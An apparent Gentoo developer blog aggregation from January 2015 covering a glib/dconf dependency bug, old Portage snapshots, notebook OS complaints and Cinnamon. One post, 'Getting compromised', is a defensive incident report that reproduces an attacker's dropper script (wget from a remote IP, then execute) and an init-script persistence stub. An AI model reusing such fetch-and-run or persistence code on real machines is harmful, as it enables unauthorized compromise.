It is far from perfect and it is missing plenty of features, but it already does something, so it is time to ship it (it compiles at least for me :-) ). I put it on GitHub alongside with some instruction. If you are interested, go take a look. And if you will get interested even more, patches are welcome ;-)

January 28, 2015
Patrick Lauer a.k.a. bonsaikitten (homepage, bugs)
CGit (January 28, 2015, 05:26 UTC)

Dirty hack of the day:

A CGit Mirror of git.overlays.gentoo.org

I wonder if the update cronjob actually works ...

January 23, 2015
Patrick Lauer a.k.a. bonsaikitten (homepage, bugs)
A story of Dependencies (January 23, 2015, 03:41 UTC)

Yesterday I wanted to update a build chroot I have. And ... strangely ... there was a pile of new dependencies:

# emerge -upNDv world

These are the packages that would be merged, in order:

Calculating dependencies... done!
[ebuild     U  ] sys-devel/patch-2.7.2 [2.7.1-r3] USE="-static {-test} -xattr" 0 KiB
[ebuild     U  ] sys-devel/automake-wrapper-10 [9] 0 KiB
[ebuild  N     ] dev-libs/lzo-2.08-r1:2  USE="-examples -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-fonts/dejavu-2.34  USE="-X -fontforge" 0 KiB
[ebuild  N     ] dev-libs/gobject-introspection-common-1.42.0  0 KiB
[ebuild  N     ] media-libs/libpng-1.6.16:0/16  USE="-apng (-neon) -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-libs/vala-common-0.26.1  0 KiB
[ebuild     U  ] dev-libs/libltdl-2.4.5 [2.4.4] USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] virtual/ttf-fonts-1  0 KiB
[ebuild  N     ] x11-themes/hicolor-icon-theme-0.14  0 KiB
[ebuild  N     ] dev-perl/XML-NamespaceSupport-1.110.0-r1  0 KiB
[ebuild  N     ] dev-perl/XML-SAX-Base-1.80.0-r1  0 KiB
[ebuild  N     ] virtual/perl-Storable-2.490.0  0 KiB
[ebuild     U  ] sys-libs/readline-6.3_p8-r2 [6.3_p8-r1] USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild     U  ] app-shells/bash-4.3_p33-r1 [4.3_p33] USE="net nls (readline) -afs -bashlogger -examples -mem-scramble -plugins -vanilla" 0 KiB
[ebuild  N     ] media-libs/freetype-2.5.5:2  USE="adobe-cff bzip2 -X -auto-hinter -bindist -debug -doc -fontforge -harfbuzz -infinality -png -static-libs -utils" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-perl/XML-SAX-0.990.0-r1  0 KiB
[ebuild  N     ] dev-libs/libcroco-0.6.8-r1:0.6  USE="{-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-perl/XML-LibXML-2.1.400-r1  USE="{-test}" 0 KiB
[ebuild  N     ] dev-perl/XML-Simple-2.200.0-r1  0 KiB
[ebuild  N     ] x11-misc/icon-naming-utils-0.8.90  0 KiB
[ebuild  NS    ] sys-devel/automake-1.15:1.15 [1.13.4:1.13, 1.14.1:1.14] 0 KiB
[ebuild     U  ] sys-devel/libtool-2.4.5:2 [2.4.4:2] USE="-vanilla" 0 KiB
[ebuild  N     ] x11-proto/xproto-7.0.26  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/xextproto-7.3.0  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/inputproto-2.3.1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/damageproto-1.2.1-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/xtrans-1.3.5  USE="-doc" 0 KiB
[ebuild  N     ] x11-proto/renderproto-0.11.1-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-fonts/font-util-1.3.0  0 KiB
[ebuild  N     ] x11-misc/util-macros-1.19.0  0 KiB
[ebuild  N     ] x11-proto/compositeproto-0.4.2-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/recordproto-1.14.2-r1  USE="-doc" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libICE-1.0.9  USE="ipv6 -doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libSM-1.2.2-r1  USE="ipv6 uuid -doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/fixesproto-5.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/randrproto-1.4.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/kbproto-1.0.6-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-proto/xf86bigfontproto-1.2.0-r1  ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXau-1.0.8  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXdmcp-1.1.1-r1  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-libs/libpthread-stubs-0.3-r1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/pixman-0.32.6  USE="sse2 (-altivec) (-iwmmxt) (-loongson2f) -mmxext (-neon) -ssse3 -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  NS    ] app-text/docbook-xml-dtd-4.4-r2:4.4 [4.1.2-r6:4.1.2, 4.2-r2:4.2, 4.5-r1:4.5] 0 KiB
[ebuild  N     ] app-text/xmlto-0.0.26  USE="-latex" 0 KiB
[ebuild  N     ] sys-apps/dbus-1.8.12  USE="-X -debug -doc (-selinux) -static-libs -systemd {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] net-misc/curl-7.40.0  USE="ipv6 ssl -adns -idn -kerberos -ldap -metalink -rtmp -samba -ssh -static-libs {-test} -threads" ABI_X86="(64) -32 (-x32)" CURL_SSL="openssl -axtls -gnutls -nss -polarssl (-winssl)" 0 KiB
[ebuild  N     ] app-arch/libarchive-3.1.2-r1:0/13  USE="acl bzip2 e2fsprogs iconv lzma zlib -expat -lzo -nettle -static-libs -xattr" 0 KiB
[ebuild  N     ] dev-util/cmake-3.1.0  USE="ncurses -doc -emacs -qt4 (-qt5) {-test}" 0 KiB
[ebuild  N     ] media-gfx/graphite2-1.2.4-r1  USE="-perl {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-libs/fontconfig-2.11.1-r2:1.0  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-admin/eselect-fontconfig-1.1  0 KiB
[ebuild  N     ] dev-libs/gobject-introspection-1.42.0  USE="-cairo -doctool {-test}" PYTHON_TARGETS="python2_7" 0 KiB
[ebuild  N     ] dev-libs/atk-2.14.0  USE="introspection nls {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] dev-util/gdbus-codegen-2.42.1  PYTHON_TARGETS="python2_7 python3_3 -python3_4" 0 KiB
[ebuild  N     ] x11-proto/xcb-proto-1.11  ABI_X86="(64) -32 (-x32)" PYTHON_TARGETS="python2_7 python3_3 -python3_4" 0 KiB
[ebuild  N     ] x11-libs/libxcb-1.11-r1:0/1.11  USE="-doc (-selinux) -static-libs -xkb" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libX11-1.6.2  USE="ipv6 -doc -static-libs {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXext-1.3.3  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXfixes-5.0.1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXrender-0.9.8  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/cairo-1.12.18  USE="X glib svg (-aqua) -debug (-directfb) (-drm) (-gallium) (-gles2) -opengl -openvg (-qt4) -static-libs -valgrind -xcb -xlib-xcb" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXi-1.7.4  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/gdk-pixbuf-2.30.8:2  USE="X introspection -debug -jpeg -jpeg2k {-test} -tiff" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXcursor-1.1.14  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXdamage-1.1.4-r1  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXrandr-1.4.2  USE="-static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXcomposite-0.4.4-r1  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/libXtst-1.2.2  USE="-doc -static-libs" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-accessibility/at-spi2-core-2.14.1:2  USE="X introspection" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] app-accessibility/at-spi2-atk-2.14.1:2  USE="{-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] media-libs/harfbuzz-0.9.37:0/0.9.18  USE="cairo glib graphite introspection truetype -icu -static-libs {-test}" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/pango-1.36.8  USE="introspection -X -debug" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-libs/gtk+-2.24.25-r1:2  USE="introspection (-aqua) -cups -debug -examples {-test} -vim-syntax -xinerama" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] gnome-base/librsvg-2.40.6:2  USE="introspection -tools -vala" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] x11-themes/adwaita-icon-theme-3.14.1  USE="-branding" 0 KiB
[ebuild  N     ] x11-libs/gtk+-3.14.6:3  USE="X introspection (-aqua) -cloudprint -colord -cups -debug -examples {-test} -vim-syntax -wayland -xinerama" ABI_X86="(64) -32 (-x32)" 0 KiB
[ebuild  N     ] gnome-base/dconf-0.22.0  USE="X {-test}" 0 KiB

Total: 78 packages (6 upgrades, 70 new, 2 in new slots), Size of downloads: 0 KiB

The following USE changes are necessary to proceed:
 (see "package.use" in the portage(5) man page for more details)
# required by x11-libs/gtk+-2.24.25-r1
# required by x11-libs/gtk+-3.14.6
# required by gnome-base/dconf-0.22.0[X]
# required by dev-libs/glib-2.42.1
# required by media-libs/harfbuzz-0.9.37[glib]
# required by x11-libs/pango-1.36.8
# required by gnome-base/librsvg-2.40.6
# required by x11-themes/adwaita-icon-theme-3.14.1
=x11-libs/cairo-1.12.18 X
BOOM. That's heavy. There's gtk2, gtk3, most of X ... and things want to enable USE="X" ... what's going on ?!

After some experimenting with selective masking and tracing dependencies I figured out that it's dev-libs/glib that pulls in "everything". Eh?
ChangeLog says:
  21 Jan 2015; Pacho Ramos  -files/glib-2.12.12-fbsd.patch,
  -files/glib-2.36.4-znodelete.patch,
  -files/glib-2.37.x-external-gdbus-codegen.patch,
  -files/glib-2.38.2-configure.patch, -files/glib-2.38.2-sigaction.patch,
  -glib-2.38.2-r1.ebuild, -glib-2.40.0-r1.ebuild, glib-2.42.1.ebuild:
  Ensure dconf is present (#498436, #498474#c6), drop old
So now glib depends on dconf (which is actually not correct, but fixes some bugs for gtk desktop apps). dconf has USE="+X" in the ebuild, so it overrides profile settings, and pulls in the rest.
USE="-X" still pulls in dbus unconditionally, and ... dconf is needed by glib, and glib is needed by pkgconfig, so that would be mildly upsetting as every user would now have dconf and dbus installed. (Unless, of course, we switched pkgconfig to USE="internal-glib")

After a good long discussion on IRC with some good comments on the bugreport we figured out a solution that should work for all:
dconf ebuild is fixed to not set default useflags. So only desktop profiles or USE="X" set by users will pull in X-related dependencies. glib gets a dbus useflag, which is default-enabled on desktop profiles, so there the dependency chain works as desired. And for the no-desktop no-X usecase we have no extra dependencies, and no reason to be grumpy.

This situation shows quite well how unintended side-effects may happen. The situation looked good for everyone on a desktop profile (and dconf is small enough to be tolerated as dependency). But on not-desktop profiles, suddenly, we're looking at a pile of 'wrong' dependencies, accidentally forced on everyone. Oops :)

In the end, all is well, and I'm still confused why writing a config file needs dbus and xml and stuff. But I guess that's called progress ...

January 21, 2015
Sven Vermeulen a.k.a. swift (homepage, bugs)
Old Gentoo system? Not a problem… (January 21, 2015, 21:05 UTC)

If you have a very old Gentoo system that you want to upgrade, you might have some issues with too old software and Portage which can’t just upgrade to a recent state. Although many methods exist to work around it, one that I have found to be very useful is to have access to old Portage snapshots. It often allows the administrator to upgrade the system in stages (say in 6-months blocks), perhaps not the entire world but at least the system set.

Finding old snapshots might be difficult though, so at one point I decided to create a list of old snapshots, two months apart, together with the GPG signature (so people can verify that the snapshot was not tampered with by me in an attempt to create a Gentoo botnet). I haven’t needed it in a while anymore, but I still try to update the list every two months, which I just did with the snapshot of January 20th this year.

I hope it at least helps a few other admins out there.

Patrick Lauer a.k.a. bonsaikitten (homepage, bugs)
Demo Operating Systems on new hardware (January 21, 2015, 10:16 UTC)

Recently I got to interact with two Lenovo notebooks - an E445 with Ubuntu Demo preinstalled, and an E431 with Win8 Demo preinstalled.
Why do I say demo? Because these were completely unusable. Let me explain ...

The E445 is a very simple notebook - 14" crap display, slowest AMD APU they could find, 4GB RAM (3 usable due to graphics card stealing the rest). Slowest harddisk ever ;)
The E431 is pretty much the same form factor, but the slowest Intel CPU (random i3) and also 4GB RAM and a crap display.

On powerup the E445 spent about half an hour "initialising" and kinda installing whatever. Weird because you could do that before and deliver an instant-on disk image, but this whole thing hasn't been thought out.
The Ubuntu version it comes with (12.04 LTS I think?) is so old that the graphics drivers can't drive the display at native resolution out of the box. So your display will be a fuzzy 1024x768 upscaled to 1366x768. I consider this a demo because there's some obvious bugs - the black background glows purple, there's random output from init scripts bleeding over the bootsplash. And then once you login there's this ... hmm. Looks like a blend of MovieOS and a touchscreen UI and goes by the name of Unity. The whole mix is pretty much unusable, mostly because basic things like screen resolution are broken in ways that are not easy to fix.

The other device came with a Win8 demo. Out of the box it takes about 5 minutes to start, and then every app takes 30-60 seconds to start. It's brutally slow.
After boot about 2.5GB RAM are in use, so pretty much any action can trigger swapping. It's brutally slow. Oh wait, I already said that.
At some point it decided to update to 8.1, which took half an hour to download and about seven hours to install. WHAT TEH EFF!

The UI is ... MovieOS got drunk. A part is kinda touchscreen thingy, and the rest is even more confused. Localization is horribad (some parts are pictogram only, some part are text only - and since this is a chinese edition I wouldn't even know hot to reboot it! squiggly hat box squiggly bug ... or is it square squiggly star ? Oh my, this is just bad.
And I said demo, because shutdown doesn't. Looks like the hibernate and shutdown bugs are crosswired the wrong way?
There's random slowdowns doing basic tasks, even youtube video randomly stutters and glitches because the OS is still not ready for general use. And it's slow ... oh wait, I said that. So all in all, it's a nice showroom demo, but not useful.

Installing Gentoo was all in all pretty boring, with full KDE running the memory usage is near 500MB (compared to >2GB for the win demo). Video runs smoothly, audio works. Ethernet connection with r8169 works, WLAN with BCM43142 requires broadcom-sta aka. wl. Very very bad driver stupid, it'd be easier to not have this device built in.
Both the intel card in the E431 and the radeon in the E445 work well, although the HD 8550G needs the newest release of xf86-video-ati to work.

The E445 boots cleanly in BIOS mode, the E431 quietly fails (sigh) because SecureBoot (sigh!) unless you actively disable it. Also randomly the E431 tries to reset to factory defaults, or fails to boot with Fan Warning. Very shoddy, but usually smacking it with a hammer helps.

I'm a little bit sad that all new notebooks are so conservative with maximum amount of RAM, but on the upside the minimum is defined by Win8 Demo requirements. So most devices have 4GB RAM, which reminds me of 2008. Hmm.
Harddisks are getting slower and bigger - this seems to be mostly penny pinching. The harddisk in the R400 I had years ago was faster than the new ones!

And vendors should maybe either sell naked notebooks without an OS, or install something that is properly installed and preconfigured. And, maybe, a proper recovery DVD so that the OS can be reinstalled? Especially as both these notebooks come with a DVD drive. I have no opinion if it works because I lack media to test with, but it wastes space ...

(If you are a vendor, and want to have things tested or improved, feel free to send me free hardware and maybe consider compensating me for my time - it's not that hard to provide a good user experience, and it'll improve customer retention a lot!)

Getting compromised (January 21, 2015, 09:16 UTC)

Recently I was asked to set up a new machine. It had been minimally installed, network started, and then ignored for a day or two.

As I logged in I noticed a weird file in /root: n8005.tar
And 'file' said it's a shellscript. Hmmm ....

#!/bin/sh
PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
wget http://432.567.99.1/install/8005
chmod +x 8005
./8005


At this point my confidence in the machine had been ... compromised. "init 0" it is!
A reboot from a livecd later I was trying to figure out what the attacker was trying to do:
* An init script in /etc/init.d
#!/bin/sh
# chkconfig: 12345 90 90
# description: epnlmqmjph
### BEGIN INIT INFO
# Provides:             epnlmqmjph
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    epnlmqmjph
### END INIT INFO
case $1 in
start)
        /usr/bin/epnlmqmjph
        ;;
stop)
        ;;
*)
        /usr/bin/epnlmqmjph
        ;;
esac
* A file in /usr/bin
# file epnlmqmjph
epnlmqmjph: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

# md5sum epnlmqmjph
2cb5174e26c6782db94ea336696cfb7f  epnlmqmjph
* a file in /sbin I think - I didn't write down everything, just archived it for later analysis
# file bin_z 
bin_z: ERROR: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linkederror reading (Invalid argument)
# md5sum bin_z 
85c1c4a5ec7ce3efef5c5b20c5ded09c  bin_z
The only action I could do at this stage was wipe and reinstall, and so I did.
So this was quite educational, and a few minutes after reboot I saw a connection with putty as user agent in the ssh logs.
Sorry kid, not today ;)

There's a strong lesson in this: Do not use ssh passwords. Especially for root. A weak password can be accidentally bruteforced in a day or two!

sshd has an awesome feature: "PermitRootLogin without-password" if you rely on root login, at least avoid sucessful password logins!

And I wonder how much accidental security running not-32bit not-CentOS gives ;)

January 19, 2015
Cinnamon 2.4 (January 19, 2015, 11:55 UTC)

A few weeks ago, I upgrade all cinnamon ebuilds to 2.4 in tree. However I could not get Cinnamon (shell part) to actually work, as in show anything useful on my display. So this is a public service announcement that if you like Cinnamon and want to help with this issue, please visit bug #536374. For some reason, the hacks found in gnome-shell does not seem to work with cinnamon’s shell.